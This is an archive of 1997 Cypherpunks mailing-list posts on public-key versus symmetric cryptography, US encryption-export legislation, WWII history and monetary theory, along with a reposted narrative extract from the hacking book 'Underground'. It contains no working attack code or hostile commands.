StE3hiX7rZaDL/o2f+Lzm7dfHyV1pMEmIc+6QKau2XnTY2B6+L9XAvzk2SDS/QZt
0f0GiA3PZcTOJKLJwv5w9tQOnjE7RBuWN6akh4jrOr+XvJg3FsVi7m+hrD792y1c
8fj/zbRlCMuDv+5CHjzMMVKQFGrkCvOaUNiwn+UEHT7FgDqtHYxViDFVnZJtaGoy
5RiH0T8pyzDNrFRK7LI1djFb/2m8VUykaJdH41j2Ex9cLdJ9v7Ajyyf4RZ+dt4mM
tqB68dCjd2kFetAehxIC0H9QCbeS/wtdl96WzF7VisZp871ru3o=
=rhiW
-----END PGP MESSAGE-----







From dformosa at st.nepean.uws.edu.au  Tue Jun 24 16:12:20 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Wed, 25 Jun 1997 07:12:20 +0800
Subject: Comparing Cryptographic Key Sizes
In-Reply-To: 
Message-ID: 



On Wed, 25 Jun 1997, Jason William RENNIE wrote:

My first suggestion is to get hold of "Applied Cryptography" by Bruse
Schneier, my second suggestion is to find out if your uni runs causes in
infomation securaty (sounds something like that) and get into it via an
elective.

[...]

> Well i guess i'll look stupid for asking but someone has to but what is 
> the diffrence ??

A symtiric cryptosystem is one where the encrption key is the same as the
decryption key.  A nonsytric cryptosystem is one where the encryption key
is diffrent but realted to the decrytion key.

Non-symtric keys are normal weeker because there has to be that realtion
between the keys.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From aba at dcs.ex.ac.uk  Tue Jun 24 16:15:21 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 25 Jun 1997 07:15:21 +0800
Subject: intro to public key crypto (was Re: Comparing Cryptographic Key Sizes)
In-Reply-To: 
Message-ID: <199706242308.AAA00465@server.test.net>




Jason William RENNIE 
> On Tue, 24 Jun 1997, Adam Back wrote:
> 
> > (Bearing in mind the reader in most cases hasn't grasped the
> > difference between public key crypto and symmetric key, and is
> > comparing 1024 bit keys to 56 bit keys and probably thinks that it is
> > 1024/56 times harder.)
> 
> Well i guess i'll look stupid for asking but someone has to but what is 
> the diffrence ?? I dont know either, i'm on this list to learn things 
> like this. I'm still very new to all of this. I was aware that they 
> weren't 1024/56 times harder though.

They have very different properties.  Public key systems have really
nifty key management properties.

With symmetric key crypto (as ever) things are simple and intuitive.
You have some data, you have a key, and you can scramble the data with
the key, you get out gibberish.  Some jargon, the three parts are
called: your data = plaintext, scrambled gibberish you get out is
called ciphertext, and the key is the cryptographic key which enables
to be decrypted (de-scrambled, turned back into plaintext, that you
can read again).  To unscramble the data you'll need the key again.
If you send the message to someone, that someone also has to know the
key.

Big problem: how do you get the key to them?

Phone them up?  (Painful).  If you can contact them securely why
bother with crypto in the first place.  Just tell them what it is you
want to tell them over the phone.  (Not that phones are secure, of
course).

Then Whitfield Diffie and Martin Hellman invented the first practical
public key crypto system (1976).  With public key systems you have two
keys.  One is called the public key, you give this to everyone.  The
other is the private (or secret) key which you tell no-one.

Anything encrypted with the public key can be decrypted with the
secret key.  As you can tell anyone the public key you can list it in
a directory service much like you list your phone number in the phone
book.  PGP keyservers are examples of such electronic directories of
public keys.

Now anyone who wants to send you a message just gets your public key
(from you, or from a keyserver), encrypts it to you, and sends you the
encrypted message.  So now a perfect stranger half way around the
world can encrypt a message to you, safe in the knowledge that no-one
but you can read it, not even the NSA.

Everything is beautiful and rosy.  (Well everyone except the NSA, who
thinks everything has gone all dark and horrid, 'cause they used to
have fun reading all our comms, but it's too late anyway, because we
all know how to do it now.  And folks like Tim May enthuse about the
possibilites of crypto anarchy, where we can be free from our
respective governmental leeches, by avoiding 50% tax rates, as
information workers working for cypherspace corporations situated in
off-shore tax-havens, or even situated no-where except cypherspace.
Cypherpunks dream.  NSA nightmare, government leech nightmare, spook
and leech job losses, plumetting tax revenues, lay-offs, radical loss
of government power and significance etc, etc.  You ought to read Tim
May's cyphernomicon at this point.)

Returning to technical matters, there is a minor fly in the
ointment... the man in the middle attack... so now we need
authentication.  We need digital signatures.  And things just got a
bit more complex in the key management area.

(We'll save those for lesson 2.  Someone else?)

Should this go in the comparing keys document?  Or is it going to
suffer bloat turning into another introduction to crypto?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199706242313.AAA00549@server.test.net>




Eric Murray  writes:
> Tim May writes:
> > 
> > The terrible, terrible S.909 McCain-Kerrey bill is probably a negotiating
> > card in the coming Grand Compromise.
> 
> As Declan notes, Congress is driven to compromise.  The
> government side can propose ever more draconian laws in order to
> engineer the 'compromise' to whatever it wants.  On the other side, we
> are stuck, because we have been asking for things that we really want, not
> bargaining chips.  Even if we were to ask for bargaining chips that
> are more than we really want, how much further than completely free
> crypto can you go?    

Oh I dunno.  We could get Tim to give a congressional statement,
highlighting the interesting consequences of a fully developed crypto
anarchic society.  That'd put the fear into them.  ('Course the
problem is we'd never get him to go within 100 miles of the place, and
he'd probably consider it a waste of time talking to them anyway.)

But there's scope I think.

But would it help?  Don't know.  It gets close to some aspects of the
NSA scare stories, money launderers, tax evasion, etc. etc.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 



At 4:13 PM -0700 6/24/97, Adam Back wrote:
>Eric Murray  writes:

>> As Declan notes, Congress is driven to compromise.  The
>> government side can propose ever more draconian laws in order to
>> engineer the 'compromise' to whatever it wants.  On the other side, we
>> are stuck, because we have been asking for things that we really want, not
>> bargaining chips.  Even if we were to ask for bargaining chips that
>> are more than we really want, how much further than completely free
>> crypto can you go?
>
>Oh I dunno.  We could get Tim to give a congressional statement,
>highlighting the interesting consequences of a fully developed crypto
>anarchic society.  That'd put the fear into them.  ('Course the
>problem is we'd never get him to go within 100 miles of the place, and
>he'd probably consider it a waste of time talking to them anyway.)

Actually, I was born in Bethesda, just north or northeast of The Once and
Future Swamp, lived in Maryland and Virginia for half my childhood, and
attended Fairfax County High Schools (Langley, across the woods from the
CIA, of course, and Edison). I've even back back several times, for
conferences and visits; I even drove out to see the NSA in 1991, to help
focus my energies.

(Note: "focus my energies" should not be taken as a euphemism for shaping
my charges.)

But I don't get the point of what would be gained by my testimony. It
wouldn't  help the Cause.

And, as many of us have noted, what is there to compromise about? If one
has religious freedom, for example, and a series of laws are proposed or
passed to limit this religious freedom in some way, what kind of compromise
is even remotely acceptable?

(By the way, I have no heard no good counters to my point that the "use of
crypto in furtherance of a crime" is quite analogous to "freedom of
religion shall not be abridged, but saying a heathen prayer in furtherance
of a crime shall subject the heathen to an additional five years of
imprisonment." This is why I think the "use of a special language or
whispering in furtherance of a crime" provisions of SAFE will probably be
struck down by the Supremes, unless they, too, have forgotten what the
Constitution is all about.)

The First Amendment is all we need to speak in the language of our
choosing, including the languages of whispers, Talegu, Navajo, pig latin,
coded signals, and 4000-bit RSA.

We don't need any "reaffirmations" of this basic right, at least not from
Congress.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From gbroiles at netbox.com  Tue Jun 24 17:02:40 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Wed, 25 Jun 1997 08:02:40 +0800
Subject: "writing code"
Message-ID: <3.0.2.32.19970624160027.00962e40@mail.io.com>




I think that "cypherpunks write code" is best understood with an added
layer of abstraction, e.g., "cypherpunks change the things that bother
them." So I think that "cypherpunks write memes" can be a useful strategy.

But I think it's important to pay attention to which memes are written - do
you mean "Write your Congressperson about this horrible problem!" or "Fuck
the government, fix your own problem(s)!"? Many of the exhortations to the
public consist mostly of "Hey! Get involved! Vote!", even where this
passive "voting" stuff created the very problems which led to the
exhortations. 

Sure, let's write memes. But let's write memes that encourage people to
solve their own problems and avoid the use of unnecessary force. The mess
that Congress is making out of crypto policy and export control should
provide a crystal-clear example of what we're likely to get if we expect
Washington - or local legislatures - to fix our problems. Next year
Congress will probably fuck with E-mail and spam legislation the way it's
screwing up crypto this year. In 1999, they'll have found something else. 

(Also, FYI, there was an implied :) smiley at the end of my message about
three-strikes term limits. It's a cute idea, but I bring it up mostly to
illustrate how pathetic and weak contemporary political thought is - we're
ending up with a legal system which consists of crap like that, announced
at press conferences full of various sympathetic "victims", hosted & funded
by lobbyists paid for by prison-guard unions.) 
 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From ravage at ssz.com  Tue Jun 24 17:28:10 1997
From: ravage at ssz.com (Jim Choate)
Date: Wed, 25 Jun 1997 08:28:10 +0800
Subject: Japan & bombing the US
Message-ID: <199706250000.TAA27658@einstein.ssz.com>



Hi,

Several people have made comment on the difference between states and
protectorates of one sort or another in reference to the comment I made
about Oregon being the only US state to be bombed in WWII. While this is
technicaly true if you go back and look at the original posting I replied
too was made in the context of US involvment in the war and how isolated
we were, so isolated, the claim went, that the Japanese were unable to
invade or otherwise attack the US.

While it is true that Oregon was the only area attacked which was a state
under the context of US possessions being attacked it is false.

The main point here is that the original proposal was incorrect due to more
than a semantic technicality. This brings the whole issue of the US sitting
out the war into question. A question I answer strongly in the negative. It
is not possible that the US could have sat out the war as a neutral.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From vznuri at netcom.com  Tue Jun 24 17:34:45 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Wed, 25 Jun 1997 08:34:45 +0800
Subject: new money systems
In-Reply-To: <97Jun23.185147edt.32257@brickwall.ceddec.com>
Message-ID: <199706250027.RAA19105@netcom15.netcom.com>



note: one respondent on this subject claimed that my references
to the money system only applied to the US. in fact I believe
they apply to any country that is paying interest on government
bonds!!

>Start with "Money Mischief" by Milton Freidman for an interesting look at
>the role of money.

an interesting book, I think this is one of his I browsed. MF is correct
in some ways but I believe he is off the mark in others. gold has a  key 
advantage over money printed by a government in that it can't be
counterfeited even by that government.  

it is clear to me at this point that any government that pays interest
on its bonds without loaning out that money is actually counterfeiting
its own currency. this interest paid on bonds is the direct 
cause of inflation.

>Money has three functions:

of course all three are interchangeable in a complete economy.

>If anyone was to adopt a 1920's lifestyle (few cars, no telephone or
>electricity, no indoor plumbing in many places) they would have plenty
>left over.  As long as consumption is the goal, you can keep working
>longer to satisfy more marginal wants.  If I can convince a couple that
>they "need" two luxury cars, they will work the longer hours.  If they are
>satisfied with something less, they may get by with only one earner. 

no, actually I think that this is not entirely true-- even measured for this
factor, our money has lost force. consider some job that has not 
changed in nature since then, say plumbing or farming. I believe on
average that today's plumber or farmer must work harder than the 20's
farmer to achieve the same lifestyle. in fact this can be proven 
mathematically in a post I'm working on.

>
>We work "harder" and have less free time only in the sense that we prefer
>working longer hours and having expensive things and less free time to
>working shorter hours and having more free time.

a reasonable hypothesis, and partly correct imho.

>It is called economic inefficiency (the electrical analogy might be
>resistance).  If tarriffs are imposed on an import, I end up paying the
>domestic producers a little more.  If some regulation forces an employer
>to spend $100,000 printing manuals or something, he is spending that to
>satisfy the government and not me.  And then there is the obvious "tax",
>which you pay regardless of who sends the actual amount to the government
>(e.g. the "employer's" half of FICA).

what I am trying to imply in the post is that there is actually a hidden
resistance on our money that is not reflected in the fees that various
entities charge.  this is inflation, and it it can be totally controlled,
despite whatever lies the Fed tells the public.

>The problem is one of exchange.  A local currency (banks used to issue
>their own notes) is only good in that locality.  How do I buy a California
>pistachio with Michigan Money?  Or with British Pounds for that matter. 
>In all cases you get an exchange rate.  There will be a varying ratio
>between any two given fiat currencies, and even two currencies based on
>(i.e. redeemable in) different commodities.

so what? I understand this obvious and trivial point.

>But all the above won't fix any of your above points.  You will work
>harder and be taxed on barter points, hamburger coupons, or anything else
>based on their (hopefully discounted) value in dollars.  I will still have
>to spend more of whatever to get a car with an airbag which I don't want.

a local economy can have a currency, and ask the question, "why is 
value being extracted from our local economy when it is a self-sustaining
unit"? the idea behind a local currency actually encourages local
autonomy/sovereignty/independence.

>The only reason we have national currencies is because nations have
>different ideas about how large their inflation rates and defecits should
>be and about trade.  That way they can control the supply of that currency
>and require changing into that currency to do trade.

the reason is that, imho, a set of greedy people have realized they
can enslave the population of an entire country by manipulating the
currency supply.

>Having 1000 other currencies would mean that each currency would have a
>fluctuating value relative to each other (great if you are an
>arbitrageur), 

no, this is not a problem, but a solution. as our world markets show,
it is trivial to convert between currencies and each one acts as a
check and a balance on the other. if a currency declines in value to
another in the market, I will bet you the country whose currency
declined is "counterfeiting its own money" via interest rates paid
on bonds.






From ravage at ssz.com  Tue Jun 24 17:40:02 1997
From: ravage at ssz.com (Jim Choate)
Date: Wed, 25 Jun 1997 08:40:02 +0800
Subject: How did these people find our list? (fwd)
Message-ID: <199706242354.SAA27633@einstein.ssz.com>



Forwarded message:

> Date: Tue, 24 Jun 1997 10:30:11 -0400
> From: Duncan Frissell 
> Subject: Re: How did these people find our list? (fwd)

> June 21, 1942, Fort Stevens at the mouth of the Columbia in Oregon is fired 
> upon by the deck gun of a Japanese submarine. The first continental costal 
> battery to be attacked by a foreign enemy (not counting those Southerners) 
> since the War of 1812.  The Japs fire 17 shells. No apparent damage.  Fort 
> Stevens is unable to depress its guns sufficiently to hit the submarine.  A 
> draw.

Two Jap subs were sunk in San Francisco harbor. Unfortunately I can't find
the dates, will keep looking.

> Oregon also suffered the U.S. Mainland's only domestic casualties due to 
> enemy action when a teacher and members of her family on a hike in southern 
> Oregon were killed by a Japanese balloon bomb.  (These bombs were attached to 

Actualy it was a man, his wife, and two children. The two kids were playing
with it when it went off. My memory tells me that the women and two kids
were killed. Don't remember if she was a teacher or not. There was an
interesting video recreation on TDC last month on this incident on a special
on the Japanese balloon bombs.

> balloons released from Japanese submarines off the coast.)

Actualy most of them were released from the Japanese mainland at specific
points. If you do further research on this you will learn how they used the
ballast sand in the balloons (mechanicly complicated) to track their source.
All the sites were bombed and the baloons ceased.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From tcmay at got.net  Tue Jun 24 18:24:50 1997
From: tcmay at got.net (Tim May)
Date: Wed, 25 Jun 1997 09:24:50 +0800
Subject: Japan & bombing the US
In-Reply-To: <199706250000.TAA27658@einstein.ssz.com>
Message-ID: 



At 5:00 PM -0700 6/24/97, Jim Choate wrote:
>Hi,
>
>Several people have made comment on the difference between states and
>protectorates of one sort or another in reference to the comment I made
>about Oregon being the only US state to be bombed in WWII. While this is
>technicaly true if you go back and look at the original posting I replied
>too was made in the context of US involvment in the war and how isolated
>we were, so isolated, the claim went, that the Japanese were unable to
>invade or otherwise attack the US.

No, this is incorrectly paraphrasing what I wrote. What I said, very
precisely, was "as there has been no credible threat of attack or invasion
of the states in America in at least 170 years." I was careful to say
"states in America."

I did not mention territories, colonies, canals, foreign embassies, yachts
at sea, protectorates, provinces, zones of influence, allies, or tourists
on vacation.

And I also limited my comments to the events leading up to wars...my
context was clear: that had the U.S. not chosen to enter wars, no states
would have been attacked even later. That the U.S. has entered wars and had
states attacked hardly disputes my point.

Oh, and California was also attacked in WW II. I lived in a town called
Goleta, which was shelled by a Japanese sub. Again, not germane to the
point I made, as this happened after the U.S. entered the war.

(And I believe at least a couple of eastern port cities were shelled.
Certainly saboteurs came ashore in Baltimore and Boston and attempted to
sabotage facilities. Again, no relevance to the point I made.)

>
>While it is true that Oregon was the only area attacked which was a state
>under the context of US possessions being attacked it is false.
>
>The main point here is that the original proposal was incorrect due to more
>than a semantic technicality. This brings the whole issue of the US sitting
>out the war into question. A question I answer strongly in the negative. It
>is not possible that the US could have sat out the war as a neutral.

It wasn't a "semantic technicality," it was a carefully worded statement of
fact.

Half the arguments you get into, Jim, come from your apparent unwillingness
to read carefully.

(I made these points earlier today to Jim in offline mail, but he has
chosen to ignore those points and repeat his flaky readings here on the
main list. Whatever.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Tue Jun 24 18:44:49 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 25 Jun 1997 09:44:49 +0800
Subject: SAFE clears House subcommittee, with amendments
Message-ID: 



***************

Date: Tue, 24 Jun 1997 21:09:41 -0400
To: fight-censorship-announce at vorlon.mit.edu
From: Declan McCullagh 
Subject: FC: SAFE clears House subcommittee, from LEGI-SLATE

[Since I showed up late today and missed some of the early discussion, I
asked my friend Amy for permission to pass along her report. She graciously
agreed. --Declan]

*****************

SAFE Act Nears Home in House After Subcommittee
Tosses It Out Favorably

By Amy Branson
LEGI-SLATE News Service

WASHINGTON (June 24) -- Casting the only opposing vote to
H.R. 695 -- the "Security and Freedom Through Encryption
Act" -- Rep. Doug Bereuter, R-Neb., knew his position was
the lonely one at a subcommittee markup Tuesday.

"The goal must be to balance between the competitiveness
of U.S. companies and U.S. national security goals,"
Bereuter began. "However, this bill fails that balance
because it significantly relaxes U.S. export control of
encryption without requiring a key recovery policy ... to
those exports."

Despite Bereuter's problems with the bill, the House
International Relations Subcommittee on International
Economic Policy and Trade passed H.R. 695 by a recorded
vote of 14 yeas and 1 nay [Vote 1].

H.R. 695 lifts export restrictions on many kinds of
strong encryption products, prohibits federal or state
governments from requiring anyone to give up the key to
their encrypted communications, and establishes criminal
penalties for using encryption to further a criminal
offense.

"This is a vitally important piece of legislation if
we're going to continue to promote the United States
dominance of the software industry worldwide," the bill's
sponsor, Rep. Bob Goodlatte, R-Va., said Tuesday
afternoon. Goodlatte, who does not sit on the
International Relations Committee, spoke on behalf of his
bill at the markup session.

"This legislation is also very important from the
standpoint of promoting the safety and security of
American citizens and others in the use of the Internet,"
he added.

Subcommittee members also adopted by voice vote an "en
bloc amendment" that made what they described as mostly
"technical" changes to the bill.

Subcommittee aides emphasized that the purpose of the
amendment language was to close loopholes and fix
unintended omissions contained in the underlying
legislation.

For example, the amendment expands the kinds of products
that do not have to have a validated license for export
or re-export to include "any consumer product
commercially available in the U.S. or abroad using
encryption capabilities which are inaccessible to the end
user and is not designed for military or intelligence end
use."

The amendment also expands the term "generally available"
as it is used in the bill to include hardware with
encryption capabilities. As the bill now is written, only
software with encryption capabilities is covered.

Also, the en bloc amendment added a "Sense of Congress"
section to the end of the bill.

In addition to "finding" that the president "has not been
able to come to agreement with other encryption producing
countries on export controls on encryption," the
amendment suggests the president immediately should call
an international conference to reach a policy agreement
with other encryption exporting countries.

Administration officials disapprove of this language
because they say they are "close" to reaching an
encryption export policy agreement with these countries,
one House aide said. But the administration has been
making this claim for several years, the aide said.

This legislation already has been reported favorably by
the House Judiciary Committee, which did not have
jurisdiction over the export language. The International
Relations subcommittee, however, had jurisdiction over
the most controversial parts of the bill: the export
provisions.

The bill still faces a markup in the full International
Relations Committee where there likely will be another
technical amendment, the aide said.

Meanwhile, the Senate Commerce Committee recently adopted
a so-called "compromise" encryption bill that satisfies
Clinton administration concerns about the availability of
strong encryption technology overseas.

But industry officials decry the legislation, sponsored
by Senate Commerce Committee Chairman John McCain,
R-Ariz., and Sen. Robert Kerrey, D-Neb.

Senate legislation [S. 377] that more closely resembles
Goodlatte's SAFE Act has been put on the back burner
because of Clinton administration objections. Sen. Conrad
Burns, R-Mont., is sponsoring that bill, which also is
known as Pro-CODE, or Promotion of Commerce Online in the
Digital Era Act of 1997.

-30-

TYPE*MARKUP
BILL*HR695
DATE*6/24/97


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo at vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/







From mnorton at cavern.uark.edu  Tue Jun 24 19:03:28 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Wed, 25 Jun 1997 10:03:28 +0800
Subject: The Grand Compromise is Coming
In-Reply-To: 
Message-ID: 



On Tue, 24 Jun 1997, Tim May wrote:

> (By the way, I have no heard no good counters to my point that the "use of
> crypto in furtherance of a crime" is quite analogous to "freedom of
> religion shall not be abridged, but saying a heathen prayer in furtherance
> of a crime shall subject the heathen to an additional five years of
> imprisonment." This is why I think the "use of a special language or
> whispering in furtherance of a crime" provisions of SAFE will probably be
> struck down by the Supremes, unless they, too, have forgotten what the
> Constitution is all about.)

OK, Tim, I'll try:
The use of communication in furtherance of a crime shall add five years .
. .etc.

The use of any device to enhance the speed of communication in furtherance
of a crime shall . . . etc.

The use of any device to disguise a voice in furtherance of  . . . etc.

The use of any cryptographic means of communication in furtherance . . .

Now, if two and three above are constitutional, why aren't one and four?
MacN







From proff at iq.org  Tue Jun 24 19:27:56 1997
From: proff at iq.org (proff at iq.org)
Date: Wed, 25 Jun 1997 10:27:56 +0800
Subject: Underground extract: System X
Message-ID: <19970625004604.1793.qmail@iq.org>



Anyone read this book? Apparently the first in-depth investigation
into the international computer underground to come out of the
Southern-Hemisphere - or so I'm told ;)  - J.A

Extracts from Underground - The true nature of System X

  Extracted from Chapter 10 - "Anthrax - The Outsider"
  
   Note: System X's name has been changed for legal reasons.
   
   Sometimes the time just slipped away, hacking all night. When the first hint
   of dawn snuck up on him, he was invariably in the middle of some exciting
   journey. But duty was duty, and it had to be done. So Anthrax pressed control
   S to freeze his screen, unfurled the prayer mat with its built-in compass,
   faced Mecca, knelt down and did two sets of prayers before sunrise. Ten
   minutes later he rolled the prayer mat up, slid back into his chair, typed
   control Q to release the pause on his computer and picked up where he left
   off.
   
   This company's computer system seemed to confirm what he had begun to
   suspect. System X was the first stage of a project, the rest of which was
   under development. He found a number of tables and reports in System X's
   files. The reports carried headers like 'Traffic Analysis', 'calls in' and
   'calls out', 'failure rate'. It all began to make sense to Anthrax.
   
   System X called up each of the military telephone exchanges in that list. It
   logged in using the computer-generated name and password. Once inside, a
   program in System X polled the exchange for important statistics, such as the
   number of calls coming in and out of the base. This information was then
   stored on System X. Whenever someone wanted a report on something, for
   example, the military sites with the most incoming calls over the past 24
   hours, he or she would simply ask System X to compile the information. All of
   this was done automatically.
   
   Anthrax had read some email suggesting that changes to an exchange, such as
   adding new telephone lines on the base, had been handled manually, but this
   job was soon to be done automatically by System X. It made sense. The
   maintenance time spent by humans would be cut dramatically.
   
   A machine which gathers statistics and services phone exchanges remotely
   doesn't sound very sexy on the face of it, until you begin to consider what
   you could do with something like that. You could sell it to a foreign power
   interested in the level of activity at a certain base at a particular time.
   And that is just the beginning.
   
   You could tap any unencrypted line going in or out of any of the 100 or so
   exchanges and listen in to sensitive military discussions. Just a few
   commands makes you a fly on the wall of a general's conversation to the head
   of a base in the Philippines. Anti-government rebels in that country might
   pay a pretty penny for getting intelligence on the US forces.
   
   All of those options paled next to the most striking power wielded by a
   hacker who had unlimited access to System X and the 100 or so telephone
   exchanges. He could take down that US military voice communications system
   almost overnight, and he could do it automatically. The potential for havoc
   creation was breathtaking. It would be a small matter for a skilled
   programmer to alter the automated program used by System X. Instead of using
   its dozen or more modems to dial all the exchanges overnight and poll them
   for statistics, System X could be instructed to call them overnight and
   reprogram the exchanges.
   
   				      ---

   No-one would be able to reach one another. An important part of the US
   military machine would be in utter disarray. Now, what if all this happened
   in the first few days of a war? People trying to contact each other with
   vital information wouldn't be able to use the telephone exchanges
   reprogrammed by System X.
   
   THAT was power.
   
   It wasn't like Anthrax screaming at his father until his voice turned to a
   whisper, all for nothing. He could make people sit up and take notice with
   this sort of power.
   
   Hacking a system gave him a sense of control. Getting root on a system always
   gave him an adrenalin rush for just that reason. It meant the system was his,
   he could do whatever he wanted, he could run whatever processes or programs
   he desired, he could remove other users he didn't want using his system. He
   thought, I own the system. The word 'own' anchored the phrase which circled
   through his thoughts again and again when he successfully hacked a system.
   
   The sense of ownership was almost passionate, rippled with streaks of
   obsession and jealousy. At any given moment, Anthrax had a list of systems he
   owned and that had captured his interest for that moment. Anthrax hated
   seeing a system administrator logging onto one of those systems. It was an
   invasion. It was as though Anthrax had just got this woman he had been after
   for some time alone in a room with the door closed. Then, just as he was
   getting to know her, this other guy had barged in, sat down on the couch and
   started talking to her.
   
   It was never enough to look at a system from a distance and know he could
   hack it if he wanted to. Anthrax had to actually hack the system. He had to
   own it. He needed to see what was inside the system, to know exactly what it
   was he owned.
   
   The worst thing admins could do was to fiddle with system security. That made
   Anthrax burn with anger. If Anthrax was on-line, silently observing the
   admins� activities, he would feel a sudden urge to log them off. He wanted to
   punish them. Wanted them to know he was into their system. And yet, at the
   same time, he didn�t want them to know. Logging them off would draw attention
   to himself, but the two desires pulled at him from opposite directions. What
   Anthrax really wanted was for the admins to know he controlled their system,
   but for them not to be able to do anything about it. He wanted them to be
   helpless.
   
   Anthrax decided to keep undercover. But he contemplated the power of having
   System X's list of telephone exchange dial-ups and their username - password
   combinations. Normally, it would take days for a single hacker with his lone
   modem to have much impact on the US military's communications network. Sure,
   he could take down a few exchanges before the military wised up and started
   protecting themselves. It was like hacking a military computer. You could
   take out a machine here, a system there. But the essence of the power of
   System X was being able to use its own resources to orchestrate widespread
   pandemonium quickly and quietly.
   
   Anthrax defines power as the potential for real world impact. At that moment
   of discovery and realisation, the real world impact of hacking System X
   looked good. The telecommunications company computer seemed like a good place
   to hang up a sniffer, so he plugged one into the machine and decided to
   return in a little while. Then he logged out and went to bed.
   
   When he revisited the sniffer a day or so later, Anthrax received a rude
   shock. Scrolling through the sniffer file, he did a double take on one of the
   entries. Someone had logged into the company's system using his special login
   patch password.
   
   He tried to stay calm. He thought hard. When was the last time he had logged
   into the system using that special password? Could his sniffer have logged
   himself on an earlier hacking session? It did happen occasionally. Hackers
   sometimes gave themselves quite a fright. In the seamless days and nights of
   hacking dozens of systems, it was easy to forget the last time you logged
   into a particular system using the special password. The more he thought, the
   more he was absolutely sure. He hadn't logged into the system again.
   
   Which left the obvious question. Who had?
     ________________________________________________________________________
     [This extract may be reposted non-commercially and without charge only]

   Underground; Tales of Hacking, Madness and Obsession on the Electronic
   Frontier, by Suelette Dreyfus; published by Mandarin (Random House
   Australia); (P) 475 pages with bib. http://www.underground-book.com/ or
   http://underground.org/book






From declan at vorlon.mit.edu  Tue Jun 24 19:29:40 1997
From: declan at vorlon.mit.edu (Declan McCullagh)
Date: Wed, 25 Jun 1997 10:29:40 +0800
Subject: Internet knuckle-dragging from the New York Times
Message-ID: 





---------- Forwarded message ----------
Date: Tue, 24 Jun 1997 22:03:20 -0400
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: FC: Internet knuckle-dragging from the New York Times

Wired's Todd Lappin started the flamefest last Friday. A bit
uncharacteristic, perhaps, since Todd is generally mild-mannered both
online and offline -- but then again, he had a good point and a juicy
target. It was the New York Times, which had front-paged a scaremongering
above-the-fold article by Christopher Wren:
  http://www.nytimes.com/library/cyber/week/062097drug.html

Todd posted on fight-censorship:

	The article, headlined "Seductive Drug Subculture
	Flourishes on the Internet," notes that the Net has
	become "a virtual do-it-yourself guide to drug use,
	at a time when adolescents' experimenting is on the
	rise."  Our intrepid reporter then goes on to assert
	that "partly owing to free-speech protection, the
	Internet lacks a quality control mechanism to
	separate fact from hyperbole or from  outright
	falsehood."

	Indeed, it is also because of those nettlesome
	free-speech protections that the New York Times is
	able to publish such drivel -- replete with it's
	schoolmarm fearmongering, silly correlations, and
	ankle-deep analysis.

Then the Boston Globe's technology reporter, Hiawatha Bray, leaped in...

-Declan

***********

Date: Fri, 20 Jun 1997 15:44:55 -0400
From: Hiawatha Bray 

Awright.  The lurking is over.

What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
story?  If not, tough luck.

I'm tired of listening to so-called "free speech advocates" going ballistic
when they don't like what someone has to say.  Every time a journalist
writes a story about the seamier side of the Net, somebody complains that
this will give outsiders the wrong idea.  Nonsense.  I think what really
worries you is that such stories give people the RIGHT idea--that there are
sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
are.  And as long as there are, journalists will write about the fact.
 Don't like it?  Too bad.  Deal with it.

Hiawatha Bray
                                                        617-929-3115 voice
Technology Reporter
                                               617-929-3183  fax
Boston Globe
                                                         wathab at tiac.net
                                    P.O. Box 2378
